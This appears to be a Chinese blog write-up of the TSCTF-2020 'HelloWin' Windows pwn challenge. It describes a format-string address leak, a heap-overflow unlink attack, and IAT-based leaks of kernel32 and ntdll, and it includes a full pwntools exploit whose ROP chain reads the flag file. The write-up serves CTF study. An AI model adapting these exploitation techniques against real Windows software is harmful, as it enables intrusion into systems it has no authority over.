TSCTF-2020-HelloWin

[toc]

保护机制分析

常见的几个保护都开启了。

IDA分析

主函数:

在进入菜单题目之前有个格式化字符串:
但是跟常规的好像不太一样,通过测试发现的确是格式化字符串:
后面是一个常规的菜单题目,create、delete、show、edit。出题人很贴心的给出了漏洞存在的函数位置,也就是名为overflow的edit功能:
size没有检查,可以向后溢出。 # 思路

通过学习wp才知道,这道题目是禁止执行system(“cmd.exe”)的:

windows有个点是,只要系统不重启,那么加载的libc地址在一段时间内是不变的,这是因为关闭地址随即化的原因吗?也就是说我们可以先泄露libc等地址,然后再close,再attach上去利用这些地址。

步骤

第一步:格式化字符串打印出寄存器中的内容:windows中的参数传递与linux中的不同,其通过RCX,RDX,R8,R9,stack传递参数。在即将执行printf(%p%p%p%p%p)的时候

按道理会打印出这几个寄存器的值和栈第一个地址的值。

但实际打出的确是rdx、r8、r9和栈偏移0x20处的值,我们可以通过加载基址看到这几个值分别是ucrtbase的基址,第二三个是stack的基址,第四个是个堆地址,第五个是image的基址

第二步:通过堆溢出构造unlink:
由于程序在edit的时候没有检查size大小,同时我们已经得知heap地址,那么通过这些信息我们可以考虑构造unlink攻击:以实现任意地址读写的目的:

由于chunk的header会被xor计算:

所以我们需要泄露出free的header,然后才能写fd和bk:

我们看看unlink前的内存布局:

unlink后:

第三步:由于我们获得了stack地址与根据main函数返回的esp来算绝对偏移,得到main函数的返回地址,进行rop即可。但是我们需要找到需要的gadget,其中ucrtadll只有orw函数和部分我们需要的gadgets。其它的gadgets我们通过查找在ntdll库中,所以我们还需要找到ntdll的基址。

根据exp我们看到,ntdll的地址可以通过kernel32的中的IAT表泄露,而kernel32的地址则可以通过image的IAT表泄露。

image IAT表

kernel32 IAT表

第四步:写rop
首先调用syscall行不通,所以只能一步一步执行函数,又因为执行函数的时候会破坏掉栈部分数据,所以我i们尽可能的在函数调用的后面准备pop寄存器+p64(0)*n 这样的数据不容易被破坏掉。最后在调用write的时候,跳过一些开始mov [rsp+n],xxx的指令,否则由于栈的异常会报错。(最后得知是write+0xe)

exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
context.update(arch="amd64")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = remote("192.168.241.134",8888)
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./student_manager")
    libc = ELF("./libc-2.27.so")


def start(name,password):
    sla("ready?\r\n","Yes,me is!!!")
    sla("name:\r\n",name)
    sla("password:\r\n",password)

def create(size,content):
    sla("]\r\n",str(1))
    sla("size:\r\n",str(size))
    sa("content:\r\n",content)

def show(index):
    sla("]\r\n",str(2))
    sla("index:\r\n",str(index))

def edit(index,size,content):
    sla("]\r\n",str(3))
    sla("index:\r\n",str(index))
    sla("size:\r\n",str(size))
    sa("content:\r\n",content)

def delete(index):
    sla("]\r\n",str(4))
    sla("index:\r\n",str(index))

def magic(index):
    p.sendlineafter("*****]\r\n", "88")
    p.sendlineafter("Input index:\r\n", str(index))

def exit():
    sla("]\r\n",str(0x58))

# step 1 leak urctbase , stack, heap , image base
sla("ready?\r\n","Yes,me is!!!")
sla("name:\r\n","%p%p%p%p%p")
p.recvuntil("Hello! ")
ucrtbase_base = int(p.recvn(16),16)-0x7ffb4a59b750+0x7ffb4a4b0000
success("ucrtbase_base ==> "+hex(ucrtbase_base))
stack1 = int(p.recvn(16),16)
success("stack1 ==> "+hex(stack1))
stack2 = int(p.recvn(16),16)
success("stack2 ==> "+hex(stack2))
heap_addr = int(p.recvn(16),16)
success("heap addr ==> "+hex(heap_addr))
image_base = int(p.recvn(16),16)-0x1b4a
success("image base ==> "+hex(image_base))
p.close()

# step 2 leak freed heap header and unlink
p = remote("192.168.241.134",8888)
start("bluesheep","bluesheep")

heap_list = image_base+0x6620

ret_addr = stack2 - 0x14f7a1 + 0x14fee8

for i in range(9):
    create(0x58,"\n")
create(0x200,"\n")
delete(2)
edit(1,0x58,"a"*0x58+"\n")
show(1)
p.recvuntil("a"*0x58)
heap_header = u64(p.recv(6).ljust(8,"\x00"))
success("heap header ==>"+hex(heap_header)) 
delete(5)
edit(1,0x58+0x18,"a"*0x58+p64(heap_header)+p64(heap_list+0x8)+p64(heap_list+0x10)+"\n")
delete(1)
magic(2)

# step 3  leak kernel32 base , ntdll base according IAT table
edit(2,0x10,p64(heap_list+0x18)+p64(image_base+0x3000)+"\n")
show(3)
ru("content: ")
kernel_base = u64(p.recv(6).ljust(8,"\x00"))-0x7ffb4d36ec80+0x7ffb4d350000
success("kernel32 base ==> "+hex(kernel_base))
edit(2,0x10,p64(heap_list+0x18)+p64(kernel_base+0x79f80)+"\n")
show(4)
ru("content: ")
ntdll_base = u64(p.recv(6).ljust(8,"\x00"))-0x7ffb4d5877d0+0x7ffb4d570000
success("ntdll base ==> "+hex(ntdll_base))
edit(2,8,p64(heap_list+0x30)+"\n")
show(3)
ru("content: ")
flag_addr = u64(p.recv(3).ljust(8,"\x00"))
success("flag addr ==> "+hex(flag_addr))

# step 4 rop: orw get flag
open_addr = ucrtbase_base+0xa28c0
read_addr = ucrtbase_base+0x15990
write_addr = ucrtbase_base+0x15310
pop_rcx_ret = ucrtbase_base+0x29e60
pop_r8_ret = ntdll_base+0x648e3
pop_rdx_r11 = ntdll_base+0x8f557 # pop rdx; pop r11; ret; 
pop_5 = ntdll_base+0x6b092#pop rax; pop r14; pop r13; pop rsi; pop rbx; ret; 


edit(6,0x10,b".\\flag.txt".ljust(0x10, b"\x00") + b"\n")
edit(2,0x38,p64(heap_list+0x18)*6+p64(ret_addr)+"\n")
rop = flat([pop_rcx_ret,flag_addr,pop_rdx_r11,0,0,
        open_addr,
        pop_5,0,0,0,0,0,
        pop_rcx_ret,3,
        pop_rdx_r11,flag_addr+0x20,0,pop_r8_ret,0x20,
        read_addr,
        pop_5,0,0,0,0,0,
        pop_rcx_ret,1,pop_rdx_r11,flag_addr+0x20,0,pop_r8_ret,0x20,
        write_addr+0xe
])
# raw_input()
edit(9,len(rop),rop+"\n")
exit()
p.interactive()

  Reprint policy: xiaoxin TSCTF-2020-HelloWin

 Previous
路由器学习之D-Link DIR-645溢出漏洞复现 路由器学习之D-Link DIR-645溢出漏洞复现
官方漏洞信息分析官方POC 大概阅读一下得知漏洞存在于在cgi文件中处理http请求时POST的参数中的password。当password很长的时候并没有进行检查,导致缓冲区溢出。 漏洞分析 我们看到漏洞组件authenticati
Next 
2020-西湖论剑-IoT闯关赛PWN方向题目复现 2020-西湖论剑-IoT闯关赛PWN方向题目复现
pwn1 boa环境搭不起来…. 漏洞倒是看到了: 这里很明显一个溢出漏洞,追溯回去看到调用这个函数的函数功能大概是身份校验 由于没办法复现环境,也没有办法了。 pwn2这个题是个简单的协议分析题目,貌似是被非预期了,虽然环境最后还
2020-12-24
  TOC